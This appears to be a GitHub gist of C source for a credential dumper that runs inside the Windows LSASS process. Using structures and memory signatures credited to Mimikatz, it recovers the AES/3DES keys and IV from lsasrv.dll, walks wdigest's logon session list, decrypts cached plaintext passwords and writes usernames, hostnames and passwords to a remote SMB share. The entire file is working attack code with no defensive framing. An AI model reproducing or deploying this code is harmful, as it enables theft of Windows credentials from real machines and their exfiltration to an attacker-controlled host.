Created
September 28, 2021 22:41
-
-
Save jimmwayans/7dffe302d826d95ef1224d0c8fdee0eb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define WIN32_NO_STATUS | |
#define SECURITY_WIN32 | |
#include "pch.h" | |
#include <windows.h> | |
#include <psapi.h> | |
#include <ntsecapi.h> | |
#include <sspi.h> | |
#include <sddl.h> | |
#include <wincred.h> | |
#include <ntsecapi.h> | |
#include <ntsecpkg.h> | |
#include <stdio.h> | |
#include <bcrypt.h> | |
#include <ntstatus.h> | |
#include <tlhelp32.h> | |
//** Offsets and Structs credited to Mimikatz **/ | |
typedef struct _KIWI_WDIGEST_LIST_ENTRY { | |
struct _KIWI_WDIGEST_LIST_ENTRY* Flink; | |
struct _KIWI_WDIGEST_LIST_ENTRY* Blink; | |
ULONG UsageCount; | |
struct _KIWI_WDIGEST_LIST_ENTRY* This; | |
LUID LocallyUniqueIdentifier; | |
UNICODE_STRING UserName; // 0x30 | |
UNICODE_STRING Domaine; // 0x40 | |
UNICODE_STRING Password; // 0x50 | |
} KIWI_WDIGEST_LIST_ENTRY, * PKIWI_WDIGEST_LIST_ENTRY; | |
typedef struct _KIWI_HARD_KEY { | |
ULONG cbSecret; | |
BYTE data[60]; // etc... | |
} KIWI_HARD_KEY, * PKIWI_HARD_KEY; | |
typedef struct _KIWI_BCRYPT_KEY81 { | |
ULONG size; | |
ULONG tag; // 'MSSK' | |
ULONG type; | |
ULONG unk0; | |
ULONG unk1; | |
ULONG unk2; | |
ULONG unk3; | |
ULONG unk4; | |
PVOID unk5; // before, align in x64 | |
ULONG unk6; | |
ULONG unk7; | |
ULONG unk8; | |
ULONG unk9; | |
KIWI_HARD_KEY hardkey; | |
} KIWI_BCRYPT_KEY81, * PKIWI_BCRYPT_KEY81; | |
typedef struct _KIWI_BCRYPT_HANDLE_KEY { | |
ULONG size; | |
ULONG tag; // 'UUUR' | |
PVOID hAlgorithm; | |
PKIWI_BCRYPT_KEY81 key; | |
PVOID unk0; | |
} KIWI_BCRYPT_HANDLE_KEY, * PKIWI_BCRYPT_HANDLE_KEY; | |
// Signature used to find AES/3DES/IV (PTRN_WN10_LsaInitializeProtectedMemory_KEY from Mimikatz) | |
unsigned char keyIVSig[] = { 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, 0x45, 0xe0, 0x44, 0x8b, 0x4d, 0xd8, 0x48, 0x8d, 0x15 }; | |
// Signature used to find l_LogSessList (PTRN_WIN6_PasswdSet from Mimikatz) | |
unsigned char logSessListSig[] = { 0x48, 0x3b, 0xd9, 0x74 }; | |
#define IV_OFFSET 61 | |
#define DES_OFFSET -73 | |
#define AES_OFFSET 16 | |
#define USERNAME_OFFSET 0x30 | |
#define HOSTNAME_OFFSET 0x40 | |
#define PASSWORD_OFFSET 0x50 | |
//* End structs and offsets *// | |
// Holds extracted InitializationVector | |
unsigned char gInitializationVector[16]; | |
// Holds extracted 3DES key | |
unsigned char gDesKey[24]; | |
// Holds extracted AES key | |
unsigned char gAesKey[16]; | |
// Decrypt wdigest cached credentials using AES or 3Des | |
ULONG DecryptCredentials(char* encrypedPass, DWORD encryptedPassLen, unsigned char* decryptedPass, ULONG decryptedPassLen) { | |
BCRYPT_ALG_HANDLE hProvider, hDesProvider; | |
BCRYPT_KEY_HANDLE hAes, hDes; | |
ULONG result; | |
NTSTATUS status; | |
unsigned char initializationVector[16]; | |
// Same IV used for each cred, so we need to work on a local copy as this is updated | |
// each time by BCryptDecrypt | |
memcpy(initializationVector, gInitializationVector, sizeof(gInitializationVector)); | |
if (encryptedPassLen % 8) { | |
// If suited to AES, lsasrv uses AES in CFB mode | |
BCryptOpenAlgorithmProvider(&hProvider, BCRYPT_AES_ALGORITHM, NULL, 0); | |
BCryptSetProperty(hProvider, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CFB, sizeof(BCRYPT_CHAIN_MODE_CFB), 0); | |
BCryptGenerateSymmetricKey(hProvider, &hAes, NULL, 0, gAesKey, sizeof(gAesKey), 0); | |
status = BCryptDecrypt(hAes, (PUCHAR)encrypedPass, encryptedPassLen, 0, initializationVector, sizeof(gInitializationVector), decryptedPass, decryptedPassLen, &result, 0); | |
if (status != 0) { | |
return 0; | |
} | |
return result; | |
} | |
else { | |
// If suited to 3DES, lsasrv uses 3DES in CBC mode | |
BCryptOpenAlgorithmProvider(&hDesProvider, BCRYPT_3DES_ALGORITHM, NULL, 0); | |
BCryptSetProperty(hDesProvider, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0); | |
BCryptGenerateSymmetricKey(hDesProvider, &hDes, NULL, 0, gDesKey, sizeof(gDesKey), 0); | |
status = BCryptDecrypt(hDes, (PUCHAR)encrypedPass, encryptedPassLen, 0, initializationVector, 8, decryptedPass, decryptedPassLen, &result, 0); | |
if (status != 0) { | |
return 0; | |
} | |
return result; | |
} | |
} | |
// Read memory from LSASS process | |
SIZE_T ReadFromLsass(void* addr, void* memOut, int memOutLen) { | |
SIZE_T bytesRead = 1; | |
memset(memOut, 0, memOutLen); | |
memcpy(memOut, addr, memOutLen); | |
return bytesRead; | |
} | |
// Open a handle to the LSASS process | |
HANDLE GrabLsassHandle(int pid) { | |
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid); | |
return procHandle; | |
} | |
// Searches for a provided pattern in memory and returns the offset | |
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) { | |
ULONG offset = 0; | |
// Hunt for signature locally to avoid a load of RPM calls | |
for (int i = 0; i < 0x200000; i++) { | |
if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) == signature[1]) { | |
if (memcmp(mem + i, signature, signatureLen) == 0) { | |
// Found the signature | |
offset = i; | |
break; | |
} | |
} | |
} | |
return offset; | |
} | |
// Recoveres AES, 3DES and IV from lsass memory required to decrypt wdigest credentials | |
int FindKeys(unsigned char* lsasrvMem) { | |
DWORD keySigOffset = 0; | |
DWORD ivOffset = 0; | |
DWORD desOffset = 0, aesOffset = 0; | |
KIWI_BCRYPT_HANDLE_KEY h3DesKey, hAesKey; | |
KIWI_BCRYPT_KEY81 extracted3DesKey, extractedAesKey; | |
void* keyPointer = NULL; | |
// Search for AES/3Des/IV signature within lsasrv.dll and grab the offset | |
keySigOffset = SearchPattern(lsasrvMem, keyIVSig, sizeof(keyIVSig)); | |
if (keySigOffset == 0) { | |
return 1; | |
} | |
// Retrieve offset to InitializationVector address due to "lea reg, [InitializationVector]" instruction | |
ReadFromLsass(lsasrvMem + keySigOffset + IV_OFFSET, (char*)& ivOffset, 4); | |
// Read InitializationVector (16 bytes) | |
ReadFromLsass(lsasrvMem + keySigOffset + IV_OFFSET + 4 + ivOffset, gInitializationVector, 16); | |
// Retrieve offset to h3DesKey address due to "lea reg, [h3DesKey]" instruction | |
ReadFromLsass(lsasrvMem + keySigOffset + DES_OFFSET, &desOffset, 4); | |
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct | |
ReadFromLsass(lsasrvMem + keySigOffset + DES_OFFSET + 4 + desOffset, &keyPointer, sizeof(char*)); | |
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass | |
ReadFromLsass(keyPointer, &h3DesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY)); | |
// Read in the 3DES key | |
ReadFromLsass(h3DesKey.key, &extracted3DesKey, sizeof(KIWI_BCRYPT_KEY81)); | |
// Copy to global | |
memcpy(gDesKey, extracted3DesKey.hardkey.data, extracted3DesKey.hardkey.cbSecret); | |
// Retrieve offset to hAesKey address due to "lea reg, [hAesKey]" instruction | |
ReadFromLsass(lsasrvMem + keySigOffset + AES_OFFSET, &aesOffset, 4); | |
// Retrieve pointer to h3DesKey which is actually a pointer to KIWI_BCRYPT_HANDLE_KEY struct | |
ReadFromLsass(lsasrvMem + keySigOffset + AES_OFFSET + 4 + aesOffset, &keyPointer, sizeof(char*)); | |
// Read the KIWI_BCRYPT_HANDLE_KEY struct from lsass | |
ReadFromLsass(keyPointer, &hAesKey, sizeof(KIWI_BCRYPT_HANDLE_KEY)); | |
// Read in AES key | |
ReadFromLsass(hAesKey.key, &extractedAesKey, sizeof(KIWI_BCRYPT_KEY81)); | |
// Copy to global | |
memcpy(gAesKey, extractedAesKey.hardkey.data, extractedAesKey.hardkey.cbSecret); | |
return 0; | |
} | |
// Reads out a LSA_UNICODE_STRING from lsass address provided | |
UNICODE_STRING* ExtractUnicodeString(char* addr) { | |
UNICODE_STRING* str; | |
WORD* mem; | |
str = (UNICODE_STRING*)LocalAlloc(LPTR, sizeof(UNICODE_STRING)); | |
// Read LSA_UNICODE_STRING from lsass memory | |
ReadFromLsass(addr, str, sizeof(UNICODE_STRING)); | |
mem = (WORD*)LocalAlloc(LPTR, str->MaximumLength); | |
if (mem == (WORD*)0) { | |
LocalFree(str); | |
return NULL; | |
} | |
// Read the buffer contents for the LSA_UNICODE_STRING from lsass memory | |
ReadFromLsass(*(void**)((char*)str + 8), mem, str->MaximumLength); | |
str->Buffer = (PWSTR)mem; | |
return str; | |
} | |
// Free memory allocated within getUnicodeString | |
void FreeUnicodeString(UNICODE_STRING * unicode) { | |
LocalFree(unicode->Buffer); | |
LocalFree(unicode); | |
} | |
// Hunts through wdigest and extracts credentials to be decrypted | |
int FindCredentials(unsigned char* wdigestMem, const char *outpath) { | |
HANDLE log = CreateFileA(outpath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL); | |
KIWI_WDIGEST_LIST_ENTRY entry; | |
DWORD logSessListSigOffset, logSessListOffset; | |
unsigned char* logSessListAddr; | |
unsigned char* wdigestLocal; | |
unsigned char* llCurrent, * llStart; | |
unsigned char passDecrypted[1024]; | |
char buf[1024]; | |
DWORD bytesWritten = 0; | |
// Search for l_LogSessList signature within wdigest.dll and grab the offset | |
logSessListSigOffset = SearchPattern(wdigestMem, logSessListSig, sizeof(logSessListSig)); | |
if (logSessListSigOffset == 0) { | |
return 1; | |
} | |
// Read memory offset to l_LogSessList from a "lea reg, [l_LogSessList]" asm | |
ReadFromLsass(wdigestMem + logSessListSigOffset - 4, &logSessListOffset, sizeof(DWORD)); | |
// Read pointer at address to get the true memory location of l_LogSessList | |
ReadFromLsass(wdigestMem + logSessListSigOffset + logSessListOffset, &logSessListAddr, sizeof(char*)); | |
// Read first entry from linked list | |
ReadFromLsass(logSessListAddr, &entry, sizeof(KIWI_WDIGEST_LIST_ENTRY)); | |
llCurrent = (unsigned char*)entry.This; | |
do { | |
memset(&entry, 0, sizeof(entry)); | |
// Read entry from linked list | |
ReadFromLsass(llCurrent, &entry, sizeof(KIWI_WDIGEST_LIST_ENTRY)); | |
if (entry.UsageCount == 1) { | |
UNICODE_STRING* username = ExtractUnicodeString((char*)llCurrent + USERNAME_OFFSET); | |
UNICODE_STRING* hostname = ExtractUnicodeString((char*)llCurrent + HOSTNAME_OFFSET); | |
UNICODE_STRING* password = ExtractUnicodeString((char*)llCurrent + PASSWORD_OFFSET); | |
if (username != NULL && username->Length != 0) { | |
snprintf(buf, sizeof(buf), "Username: %ls\n", username->Buffer); | |
} | |
else { | |
snprintf(buf, sizeof(buf), "Username: [NULL]\n"); | |
} | |
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL); | |
if (hostname != NULL && hostname->Length != 0) { | |
snprintf(buf, sizeof(buf), "Hostname: %ls\n", hostname->Buffer); | |
} | |
else { | |
snprintf(buf, sizeof(buf), "Hostname: [NULL]\n"); | |
} | |
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL); | |
// Check if password is present | |
if (password->Length != 0 && (password->MaximumLength % 2) == 0) { | |
// Decrypt password using recovered AES/3Des keys and IV | |
memset(passDecrypted, 0, sizeof(passDecrypted)); | |
if (DecryptCredentials((char*)password->Buffer, password->MaximumLength, passDecrypted, sizeof(passDecrypted)) > 0) { | |
snprintf(buf, sizeof(buf), "Password: %ls\n\n", passDecrypted); | |
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL); | |
} | |
else { | |
snprintf(buf, sizeof(buf), "Password: [Error Decrypting]\n\n"); | |
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL); | |
} | |
} | |
else { | |
snprintf(buf, sizeof(buf), "Password: [NULL]\n\n"); | |
WriteFile(log, buf, strlen(buf), &bytesWritten, NULL); | |
} | |
FreeUnicodeString(username); | |
FreeUnicodeString(hostname); | |
FreeUnicodeString(password); | |
} | |
llCurrent = (unsigned char*)entry.Flink; | |
} while (llCurrent != logSessListAddr); | |
CloseHandle(log); | |
return 0; | |
} | |
int run() | |
{ | |
const char* credOutput = "\\\\192.168.0.111\\ntds\\outcreds.txt"; | |
HANDLE hLsass = NULL; | |
HMODULE lsassDll[1024]; | |
DWORD bytesReturned; | |
unsigned char* lsass = NULL, * lsasrv = NULL, * wdigest = NULL; | |
lsass = (unsigned char*)GetModuleHandleA("lsass.exe"); | |
wdigest = (unsigned char*)GetModuleHandleA("wdigest.dll"); | |
lsasrv = (unsigned char*)GetModuleHandleA("lsasrv.dll"); | |
// Make sure we have all the DLLs that we require | |
if (lsass == NULL || wdigest == NULL || lsasrv == NULL) { | |
return 1; | |
} | |
// Now we need to search through lsass for the AES, 3DES, and IV values | |
if (FindKeys(lsasrv) != 0) { | |
return 1; | |
} | |
// With keys extracted, we can extract credentials from memory | |
if (FindCredentials(wdigest, credOutput) != 0) { | |
return 1; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment